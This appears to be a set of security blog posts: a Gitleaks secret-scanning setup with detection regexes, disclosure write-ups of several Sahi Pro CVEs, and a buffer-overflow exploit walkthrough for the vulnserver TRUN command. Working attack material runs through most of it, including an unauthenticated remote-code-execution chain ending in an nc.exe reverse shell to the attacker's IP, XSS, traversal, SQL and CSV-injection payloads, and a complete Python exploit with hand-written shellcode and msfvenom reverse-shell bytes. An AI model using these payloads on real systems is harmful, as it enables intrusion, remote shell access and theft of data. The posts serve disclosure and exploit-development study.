Gitleaks use toml formatted file for defining rules . Create a rules file with desired name(ex: rules.toml ) under root of newly created repo ‘github-actions’ (created in step 1) . Gitleaks uses this rules file to detect the sensitive patterns. Gitleaks project has an excellent documentation how rules are defined here .(Configuration section of readme) and also couple of examples are define by the project here .

Example rules.toml :

[[rules]]
	description = "API Key"
	regex = '''[a-zA-z_0-9]*(?i)(api_key|token|apikey|db_pass|db_password)["']*(\s)*[=:](\s)*["'][a-zA-z+0-9_/!+=]+['"]'''
	tags = ["key", "APIKEY"]
		[rules.allowlist]
		description = "ignore non sensitive key"
		regexes = [
		    '''(?i)(TEST_TOKEN|DUMMY_KEY)["'a-z\sA-z0-9_=]*'''
		]	
		[[rules.Entropies]]
			Min = "4.3"
			Max = "8.0"

[[rules]]
          description = "Slack"
          regex = '''xox[baprs]-([0-9a-zA-Z]{10,48})?'''
          tags = ["key", "Slack"]


[allowlist]
          description = "global allowlist. whitelisting paths"
          paths = ['''test/*''']

Here in the rules file we define individual regex patterns which will be matched against github commits to detect sensitive secrets.

Here in the above example, we have defined two rules. First rule is one of my custom rule which contains regex to detect sensitive key value patterns with substring ( api_key, token, apikey, db_pass, db_password)(you can craft and test regex rules here : https://regex101.com/ (select golang for testing gitleaks rules).

We also have the ability to whitelist the certain detected patterns as shown below under rules.allowlist section per rule. We can also define the shannon entropy value under rules.Entropies section per rule. Defining threshold  entropy values further refines the resultant detections and gives less false positives. This has its cons, higher the entropy, lower the detection of short/common secrets .You can also calculate shannon entropy of the string over here : https://www.shannonentropy.netmark.pl/ .

Second rule detects if the scanned commit contains slack user/bot tokens . We also have the ability to define global allowlist which applies to all the repositories which are being monitored for secrets. In this case if any test / dummy secrets are defined under test/ any repository path , gitleaks skips scanning the defined folder.

Step 4 :

Modify the existing entrypoint.sh file under private  ‘github-actions’ repository which was created in step 1 as follows . This is done in order to use centralized rules file(rules.toml) .

#!/bin/bash

#modified
CONFIG="--config ./gitleaksaction/rules.toml"

echo running gitleaks "$(gitleaks --version) with the following command :👇"

DONATE_MSG="👋 maintaining gitleaks takes a lot of work so consider sponsoring me or donating a little something\n\e[36mhttps://github.com/sponsors/zricethezav\n\e[36mhttps://www.paypal.me/zricethezav\n"

if [ "$GITHUB_EVENT_NAME" = "push" ]
then
  echo gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commit=$GITHUB_SHA $CONFIG
  gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commit=$GITHUB_SHA $CONFIG
elif [ "$GITHUB_EVENT_NAME" = "pull_request" ]
then 
  git --git-dir="$GITHUB_WORKSPACE/.git" log --left-right --cherry-pick --pretty=format:"%H" remotes/origin/$GITHUB_BASE_REF...remotes/origin/$GITHUB_HEAD_REF > commit_list.txt
  echo gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commits-file=commit_list.txt $CONFIG
  gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commits-file=commit_list.txt $CONFIG
fi

if [ $? -eq 1 ]
then
echo -e "\e[31m🛑 STOP! Gitleaks encountered leaks"
echo "----------------------------------"
echo -e $DONATE_MSG
exit 1
else
echo -e "\e[32m✅ SUCCESS! Your code is good to go!"
echo "------------------------------------"
echo -e $DONATE_MSG
fi

Step 5 :

Final step is to add the github actions workflow file under all the repositories of an organization that needs to be monitored for secrets.

Github actions workflow files are defined under ( <repo_root>/.github/workflows/<file>.yaml) . Add the following workflow file(gitleaks.yaml) under all the repositories of the org(<monitored_repo>/.github/workflows/gitleaks.yaml).

name: gitleaks
on:
  pull_request:
    branches: 
      - master
  push:
    branches: 
      - master
jobs:
  gitleaks:
    runs-on: ubuntu-latest
    steps:
    - name: Code checkout
      uses: actions/checkout@v2
      with:
        fetch-depth: '0'  
    - name: gitleaks-action checkout(private)
      uses: actions/checkout@v2
      with:
        repository: <yourOrgChangeThis>/gitleaks-action
        ref: master 
        token: ${{ secrets.GIT_ACTION_TOKEN }} # stored in GitHub secrets
        path: ./gitleaksaction
    - name: run gitleaks action
      uses: ./gitleaksaction

This workflow file does couple of things.

It triggers only on events, push(direct commit) and pull request against master branch ( defined under ‘on’ section of workflow file.)

it uses default ubuntu latest runner for running this job.

Finally defined workflow job checks out the current repository which triggered the scan and the private gitleaks-actions repository which was created and modified in earlier steps. Since github actions is hosted inside a private organization, we have to define a github secret at org level ( secrets.GIT_ACTION_TOKEN ) with the github access token. Finally gitleaks action is run inside the runner.

Step 6 :

Define GIT_ACTION_TOKEN inside org level github secrets with necessary permissions ( read and checkout permissions) .

Test it :

Test and verify by directly committing to master branch/ raising a PR which contains sensitive secret which matches the regex pattern.

example test string pattern :     passsecretA23token = “dasojdhaskj12111AcX0908123lkjsalkdjlajdsaw281238dsadaAsda1”

If the branch is protected, github actions check prevents merging the feature branch and fails the check.(can also check the result manually under actions tab of a repository .)

Execution Flow Diagram : 

Results : 

How to remove the valid detected secrets?!

Consider the leaked sensitive keys as compromised and rotate the secrets.

Use BFG repo cleaner to remove the secrets : https://rtyley.github.io/bfg-repo-cleaner/ . This is not completely efficient,  as the read only PR heads containing secrets are not removed(only github support team can help with this).

That’s it for now. Just want to keep this blog alive .Shubha Dina.

The post Automated Sensitive Secrets Monitoring with Gitleaks and Github Actions appeared first on .

It was found that even with the password protected web portals , an attacker can still bypass and perform all the operations of the interface as there are no server side validations for each request. Here in this example we will demonstrate how an attacker can create any file within sahi pro scripts root folder. This can be extended to all the operations.

This impacts can be maximized with the help of remote execution of sahi scripts feature with the help of testrunner generated URL. As launching these remote execution does not require any kind of authentication / password , chained with the previous bug ( creation of sahi script remotely without password ) results in complete take over of the system running sahi pro .

Here is the detailed proof of concept for the same :

An attacker visits the server running sahi pro. He tries to access the remote editor interface as shown below .

Fig : Password protected login form.

As he observes that the console is password protected , he sends the script creation request directly to the EditorUI_saveScript end point as shown below.

Fig : direct request is sent to the end point with sahi script name and contents

( we make use of _execute API to execute system commands )

We have used fine name as rce.sah to be created and with contents as follows :

_execute(“ping 192.168.0.105 -n 5”);

Here , 192.168.0.105 is IP of attacker machine. We make use of ping as payload because, we already assumed web interface is password protected hence we cannot directly see the output of the log files executed.

This vulnerability can be chained further with the next vulnerability :

No password authentication for remote executions of sahi scripts . Testrunner.bat or distributed runs does not have any authentication mechanism that can help an attacker to initiate remote runs on machine . this can be abused to launch a denial of service attack or more severe, remote code execution chained with the previous one.

Fig : testrunner batch file converts the request to a URL request which is then fed to master_runNonDistributed / Distributed endpoints.

The url which is generated can be copied and can be used to launch any remote executions , just changing localhost to remote sahi server .

Attacker can the generated URL directly and execute any script he wants, in this case the malicious script he created that is “rce.sah” as follows :

http://192.168.0.104:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&abortedRetryCount=0&baseURL=https%3A%2F%2Fgoogle.com&browserDeviceParams=ie&browserType=ie&emailPasswordHidden=true&emailProp=&emailProperties=..%5Cconfig%5Cemail.properties&emailTrigger=success%2Cfailure&failureRetryCount=0&host=localhost&isDifferentMasterS=null&isNonDistributedRun=true&isSendEmailS=false&isSingleSessionS=false&logsInfo=html&port=9999&scriptsPathMaster=scripts&sendEmail=false&sendEmailPeriodically=&sendEmailPeriodicallyS=&sendEmailPeriodicallyTime=&showPeriodicSummary=true&startWith=BROWSER&suite=rce.sah&suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&threads=5&useSingleSession=false

here just changing suite get parameter , attacker can execute any suite/script of his choice . he executes the script he created before remotely as follows :

Fig : attacker executes his previously created script with the help of testrunner generated URL.

As the payload specified, if the execution is successful , attacker should get a ping request to his machine. This can be confirmed with the help of listening to icmp request using tcpdump as follows :

Tcpdump –I eth0 icmp –vv

Fig : as we can see attacker machine gets a ICMP echo ping request from remote victim machine running sahi pro .

Now we can confirm the remote code execution. Lets now maximize the impact by getting a complete shell of the victim machine. This can be done with many ways..i use SMB to host a reverse shell which is directly executed by remote server.(temporarily hosted on my attacker box ) to achieve the same(same network).

Command :

_execute(“\\\\192.168.0.105\\MENOE\\nc.exe -nv 192.168.0.105 443 -e cmd.exe“);

Fig : attacker creates another script with the payload specified above.

executing the script with the same unauthenticated endpoint results in code execution with receiving a proper reverse shell.

                                                Fig : >> Reverse shell <<

The post CVE-2019-15102 – Sahi pro ( <= 8.x ) Remote Code Execution appeared first on .

Sahi pro is a web application automation tool which helps automation testers to automate their web application tasks . It makes it very easy for end users with their readily available API functions . an end user can create a sahi script either by using their sahi programming language ( similar to javascript ) or can use ruby . We will use sahi language itself for this demo.

Sahi has some interesting features such as web application interface which aggregates all the reports for the sahi script execution tasks. It was found that web module is vulnerable to stored cross site scripting.

Here is the Proof of concept for the same:

fig 1 : sahi script containing XSS payload

Here we have created a simple sahi script which uses a testcase API .

var $tc1 = _testcase(“TC-1″,”<script>alert(document.cookie)</script>”).start();

_log(“testing stored XSS injection”);

$tc1.end();

In the testcase API , as per the documentation provided accepts two parameters ,first one being testcase ID and second one test case description . Both values are reflected back in the web reports  which triggers the XSS vulnerability . save the file as “filename.sah”  and with the help of sahi controller execute the script.

Fig 2 : execute the script in the controller

Now navigate to the executed report in the web report console . XSS is triggered .

  Fig 3 ,4 : Stored XSS triggers .

This can be utilized by a malicious limited user to steal password protected (admin) web reports credentials.

Disclosure timeline :

Reported on : 8 / December / 2018

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

The post CVE-2018-20472 – Sahi pro ( <= 8.x ) Stored XSS appeared first on .

sahi pro has some interesting features such  as web reporting interface and web editor which combined and forms report module which aggregates all the automated test execution / suite .  It was found that we can view the source code of any sahi file in the editor to check debug logs, where it highlights failed line or execution flow etc

report interface url can be found at the following location :

http://<ip>:<port>/logs 

In the web editor module , it was observed that there  exists a directory traversal vulnerability which allows any user on the same network to view any files on the victim machine running sahi pro automation software. sahi pro allows users to restrict file access for scripts in their configuration file, but this particular module seems to be vulnerable due to lack of server side validations.

Proof of concept  :

Fig 1 :  shows the reports module which displays and highlights the source code of sahi script file for debugging .

here the get parameter href is vulnerable to directory traversal(can also include remote files  to cause Denial of service on victim browser)

Here href get parameter is referring to location :

href=scripts/csv_injection_demo.sah

if its modified to href=../../supersecret/password.txt , contents of crucial internal files of the victim machine.

Fig 2 : vulnerable to directory traversal.

another snapshot which disclose contents of win.ini file

Fig 3 : vulnerable to directory traversal.

URL vulnerable :

http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected

Disclosure timeline :

Notified on : 8 / December / 2018

suggested quick fix till the official patch is released : password protect web reports module

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

The post CVE-2018-20470 – Sahi pro ( <= 8.x ) Directory traversal appeared first on .

Proof of concept :

excel formulas can be injected inside the sahi script as shown previously with stored XSS inside a testcase API as follows.

 script used :

var $tc1 = _testcase(“TC-1″,”=SUM(1+1)*cmd|’ /C calc’!A0”).start();

_log(“testing csv injection”);

$tc1.end();

Execute the following sahi script and take export of the report as follows :

 Fig : executed sahi script with formula injection.

Fig : victim opens the file and clicks yes on warning and the code                                         executes on victim machine .

Disclosure timeline :

Notified on : 8 / December / 2018

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

The post CVE-2018-20468 – Sahi pro ( <= 8.x ) CSV Injection appeared first on .

It was found in sahi reports web interface,whenever we search for a particular report using search field , direct sql query was passed as part of GET request. This query can be manipulated to dump internal details such as database name ,database path , read files using h2 system functions , user details , schema details and other critical information related to the internals of sahi database to external adversary  on same network.

Proof of concept :

              Fig 1 : sql query is directly passed as part of GET request

Sahi web reports interface allows an end user to search for a report based on its name. This user supplied parameter is converted into a SQL query and is directly passed as part of URL as shown in figure 1.

As sahi is using H2 database to store the reports and other data, an end user can exploit this scenario to run h2 database system functions by manipulating the passed SQL query .

               Fig 2 : leak of memory used by sahi application ( memory_used() )

Modified URL :

http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS

           Fig 3 : leak of database path by sahi application ( database_path() )

Modified URL:

http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT database_path() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS

       Fig 4 : leak of current database user by sahi application ( user() )

Modified URL: 

http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT user() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS

All h2 system functions can be used to abuse and leak more sensitive  information by un-authenticated user .

Disclosure timeline :

disclosed on : 8/ December / 2018

suggested quick fix till the official patch is released : password protect web reports module

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

The post CVE-2018-20469 – Sahi pro ( <= 8.x ) SQL Injection appeared first on .

What will not be covered in this article ?

Fuzzing vulnserver TRUN command , getting control of EIP are not covered in this article ( which are found nearly everywhere! )

What will be covered in this article?

Writing a custom shellcode which involves recreation of socket functionality and leveraging it to gain a reverse shell.

Some basic prerequisite information :

Anatomy of calling a x86 windows syscall :

In x86 windows, calling a syscall requires us to follow the following process.for example lets consider we need to call the following syscall :

syscallExA(Parameter A , Parameter B) 

in order to call syscallExA , we need to first push the required parameters to stack in reverse order .( that is push B then push A ) . Finally we need to move the address of syscallExA onto a register , then finally CALL the register.

It can be pictured as follows ,

 PUSH B

PUSH A

MOV EAX, address of syscallExA

CALL EAX

and after the syscall executes , return value is stored in EAX register.

What is socket reconstruction technique?

Socket reconstruction technique leverages the fact that in certain client – server application , it would have already loaded the socket related DLL file required onto its memory . This can further be used for exploiting a buffer overflow vulnerability on that application . We mimick the server ability to construct a socket from initial stages to listening for incoming connection from attacker. at this point of time, attacker can send his second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.

Note : victim box is windows xp SP3 ( NO ASLR and DEP in consideration )

The flow :

We follow the following plan as follows ,

We overwrite the EIP register with JMP ESP pointer as we know ESP points to our payload.

First stage payload :

> We create a new socket with the help of Socket Syscall found in WS2_32 dll which is already loaded in memory.

 > created socket is then bind to a different port of our choice using bind syscall.

>   We listen on the bind port for incoming connection from attacker using listen syscall.

> Accept the incoming connection using Accept syscall.

 > Finally receive the second stage payload ( reverse shell ) using recv syscall.

Second Stage payload :

Its a  payload of our choice . ( we will use a reverse shell payload from msfvenom )

Before we can Proceed , As noted earlier , we need to know the address of the required socket functions inside WS2_32 DLL file. we can do the following as follows to get it .

1 . In the debugger ( i use immunity debugger ) , rightclick > view > module ‘vulnserv’

2 . rightclick > search for > all intermodular calls 

3 . we will see all intermodular calls from this module to all other modules loaded . look for call to  socket function from ws2_32 dll file .

4. Follow the function in disassembler . and note all the required functions we need for creating our custom shell code .

In our case we need the following addresses for the functions :

0040257C  -FF25 FC614000    JMP DWORD PTR DS:[<&WS2_32.socket>]      ; WS2_32.socket

00402564  -FF25 D8614000    JMP DWORD PTR DS:[<&WS2_32.bind>]        ; WS2_32.bind

00402554  -FF25 F0614000    JMP DWORD PTR DS:[<&WS2_32.listen>]      ; WS2_32.listen

0040254C  -FF25 D4614000    JMP DWORD PTR DS:[<&WS2_32.accept>]      ; WS2_32.accept

0040252C  -FF25 F4614000    JMP DWORD PTR DS:[<&WS2_32.recv>]        ; WS2_32.recv

Lets start with Socket syscall . according to MSDN :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-socket

From the Microsoft Docs ,

SOCKET WSAAPI socket( int af, int type, int protocol );

Function takes three parameters , first one address family  ( 2 for IPv4 ) , second type of socket ( we use 2 (SOCK_STREAM  ) ) , and finally protocol (TCP (6))

so our socket call would be as follows :

socket(2, 1, 6)

We have to push the parameters onto stack in reverse order and finally move the socket function address to a register and finally call the register.

And here is the custom shellcode for the following syscall :

83EC 40          SUB ESP,40 #for moving away from EIP

33C0             XOR EAX,EAX
B0 06            MOV AL,6
50               PUSH EAX
B0 01            MOV AL,1
50               PUSH EAX
40               INC EAX
50               PUSH EAX
BB 777C2540      MOV EBX,40257C77 
C1EB 08          SHR EBX,8
FFD3             CALL EBX
8BF8             MOV EDI,EAX

We see that first we move the ESP to a location far from EIP to prevent stack corruption . We initially clear out register using XOR operation and push the required parameters onto the stack. Finally we move address of socket function onto EBX and call it. Notice we had the function address at 0040257C , since the address contains null ( which is bad for our shellcode! ) , we make use of SHR operation which would shift right by 8 bits and hence reintroduce the required “00” .  finally return address is stored onto EAX register after syscall. we move it to EDI so we can use it further for other operations.

Lets move to the bind syscall :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-bind

According to MSDN, bind accepts three parameters as follows.

bind(socket handle,socket addr struct,16)

Here is the shellcode snippet for the same :

33C0             XOR EAX,EAX
50               PUSH EAX
50               PUSH EAX
54               PUSH ESP
59               POP ECX
C601 02          MOV BYTE PTR DS:[ECX],2 #AF_INET value (2) IPV4
C641 03 14       MOV BYTE PTR DS:[ECX+3],16 #listen on port 22
6A 16            PUSH 16
51               PUSH ECX
B3 64            MOV BL,64
57               PUSH EDI
FFD3             CALL EBX

First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros then finally getting the address of the pushed values onto ECX registers. then we finally manipulate the values stored at ECX. we know that sock addr requires type of address family ( 2 ) and finally port to bind to ( in this case lets choose port 22 , feel free to use any non free port number to bind to ) . we manipulate the values as desired at ECX.

FInally we push the parameters in reverse order. And since all the socket function address are closer to each other and have similar , we just have to modify lower 8 bits of EBX(it currently holds address of socket function ) , BL to 64 and finally call the register.

Listen Syscall :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-listen

int WSAAPI listen( SOCKET s, int backlog );

Listen is relatively simple syscall as it only takes two parameters . socket descriptor and finally a backlog counter.

B3 54            MOV BL,54
6A 7F            PUSH 7F
57               PUSH EDI
FFD3             CALL EBX

Accept syscall :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-accept

SOCKET WSAAPI accept( SOCKET s, sockaddr *addr, int *addrlen );

accept function takes three parameter, in our case we can set last two parameters to null.  accept syscall also return a client socket descriptor that we need for further recv call .

50               PUSH EAX
50               PUSH EAX
57               PUSH EDI
0B3 4C           MOV BL,4C
FFD3             CALL EBX

Recv Syscall :

Finally recv syscall accepts the second stage payload and has the following definition :

https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv

int recv( SOCKET s, char *buf, int len, int flags );

Recv syscall takes 4 parameters , first one is client socket descriptor which was received from previous accept syscall , followed by address of the location to receive and store the user data followed by its length and finally flags ( we can set it to NULL) .

here is our custom shellcode for this :

8BF8             MOV EDI,EAX
33C0             XOR EAX,EAX
50               PUSH EAX
B4 02            MOV AH,2
50               PUSH EAX
54               PUSH ESP
59               POP ECX
66:83C1 5E       ADD CX,5E
66:83C1 5E       ADD CX,5E
66:83C1 10       ADD CX,10
51               PUSH ECX
57               PUSH EDI
B3 2C            MOV BL,2C
FFD3             CALL EBX

First we zero out and move the FLAGS ( NULL ) onto the stack followed by setting 2 onto AH ( makes length 512 bytes ) and pushing it . Main part of this custom shellcode begins here. we need to push *buff  that is address to receive the second stage shellcode. we will calculate it with reference to ESP position . and we need to also make sure , location to receive the payload should be address ahead of current EIP . so what would happen is , once it executes the recv syscall , our reverse shell payload is received and stored in this location specified by *buff , and EIP continues its execution till it reaches our reverse shell and finally executes it .  Finally we move client sock address received from accept syscall and call it.

This marks the end of our first stage custom shellcode implementing the socket reconstruction . finally , our we send our second stage shellcode after waiting for a second or two to port 22 . and we get our reverse shell .

Second stage shell code can be generated with the help of msfvenom as follows :

msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c

here is the complete PoC for the same :

import os
import socket
import sys
from time import sleep

host= "192.168.0.102"
port= 9999

socket_call = "\x83\xEC\x40\x33\xC0\xB0\x06\x50\xB0\x01\x50\x40\x50\xBB\x77\x7C\x25\x40\xC1\xEB\x08\xFF\xD3\x8B\xF8"

bind_call = "\x33\xC0\x50\x50\x54\x59\xC6\x01\x02\xC6\x41\x03\x16\x6A\x10\x51\xB3\x64\x57\xFF\xD3"

listen_call = "\xB3\x54\x6A\x7F\x57\xFF\xD3"

accept_call = "\x50\x50\x57\xB3\x4C\xFF\xD3"

recv_call = "\x8B\xF8\x33\xC0\x50\xB4\x02\x50\x54\x59\x66\x83\xC1\x5E\x66\x83\xC1\x5E\x66\x83\xC1\x10\x51\x57\xB3\x2C\xFF\xD3"


#msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c

rev_shell = (

"\xb8\xd4\x48\x2c\x12\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xc3\x04\x31\x43\x0e\x03\x97\x46\xce\xe7\xeb\xbf\x8c"
"\x08\x13\x40\xf1\x81\xf6\x71\x31\xf5\x73\x21\x81\x7d\xd1\xce"
"\x6a\xd3\xc1\x45\x1e\xfc\xe6\xee\x95\xda\xc9\xef\x86\x1f\x48"
"\x6c\xd5\x73\xaa\x4d\x16\x86\xab\x8a\x4b\x6b\xf9\x43\x07\xde"
"\xed\xe0\x5d\xe3\x86\xbb\x70\x63\x7b\x0b\x72\x42\x2a\x07\x2d"
"\x44\xcd\xc4\x45\xcd\xd5\x09\x63\x87\x6e\xf9\x1f\x16\xa6\x33"
"\xdf\xb5\x87\xfb\x12\xc7\xc0\x3c\xcd\xb2\x38\x3f\x70\xc5\xff"
"\x3d\xae\x40\x1b\xe5\x25\xf2\xc7\x17\xe9\x65\x8c\x14\x46\xe1"
"\xca\x38\x59\x26\x61\x44\xd2\xc9\xa5\xcc\xa0\xed\x61\x94\x73"
"\x8f\x30\x70\xd5\xb0\x22\xdb\x8a\x14\x29\xf6\xdf\x24\x70\x9f"
"\x2c\x05\x8a\x5f\x3b\x1e\xf9\x6d\xe4\xb4\x95\xdd\x6d\x13\x62"
"\x21\x44\xe3\xfc\xdc\x67\x14\xd5\x1a\x33\x44\x4d\x8a\x3c\x0f"
"\x8d\x33\xe9\x80\xdd\x9b\x42\x61\x8d\x5b\x33\x09\xc7\x53\x6c"
"\x29\xe8\xb9\x05\xc0\x13\x2a\xea\xbd\x1b\xc2\x82\xbf\x1b\x03"
"\x0f\x49\xfd\x49\xbf\x1f\x56\xe6\x26\x3a\x2c\x97\xa7\x90\x49"
"\x97\x2c\x17\xae\x56\xc5\x52\xbc\x0f\x25\x29\x9e\x86\x3a\x87"
"\xb6\x45\xa8\x4c\x46\x03\xd1\xda\x11\x44\x27\x13\xf7\x78\x1e"
"\x8d\xe5\x80\xc6\xf6\xad\x5e\x3b\xf8\x2c\x12\x07\xde\x3e\xea"
"\x88\x5a\x6a\xa2\xde\x34\xc4\x04\x89\xf6\xbe\xde\x66\x51\x56"
"\xa6\x44\x62\x20\xa7\x80\x14\xcc\x16\x7d\x61\xf3\x97\xe9\x65"
"\x8c\xc5\x89\x8a\x47\x4e\xa9\x68\x4d\xbb\x42\x35\x04\x06\x0f"
"\xc6\xf3\x45\x36\x45\xf1\x35\xcd\x55\x70\x33\x89\xd1\x69\x49"
"\x82\xb7\x8d\xfe\xa3\x9d"
)
#625011af

buffer = 'TRUN .' +"A"*2006 + "\xaf\x11\x50\x62"+"\x90"*20+ socket_call+ bind_call+listen_call+accept_call+recv_call+"\x90"*(351-len(socket_call)-len(bind_call)-len(accept_call)-len(listen_call)-len(recv_call))+"\x90"*15+'\r\n'

final_payload = "\x90"*10 + rev_shell

conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect((host,port))

print conn.recv(1024)

print "sending stager 1 payload "
conn.send((buffer))

print "sleeping for few seconds..."
sleep(1)
print "connecting to bind socket on port 22.."

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((host,22))
print "sending final payload ! set your netcat listener!"
con.send(final_payload)
con.close()

Execute and finally get a reverse shell .

My Github repo containing The POC and other resources :

https://github.com/strikergoutham/OSCE-preparation/blob/master/vulnserver/

And all the technique credits goes to this source!

https://buffered.io/posts/idsecconf-2013-myftpd-challenge/

Hope you enjoyed this article . Until next time! good day!

The post Exploiting Vulnserver TRUN command using Socket Reconstruction technique appeared first on .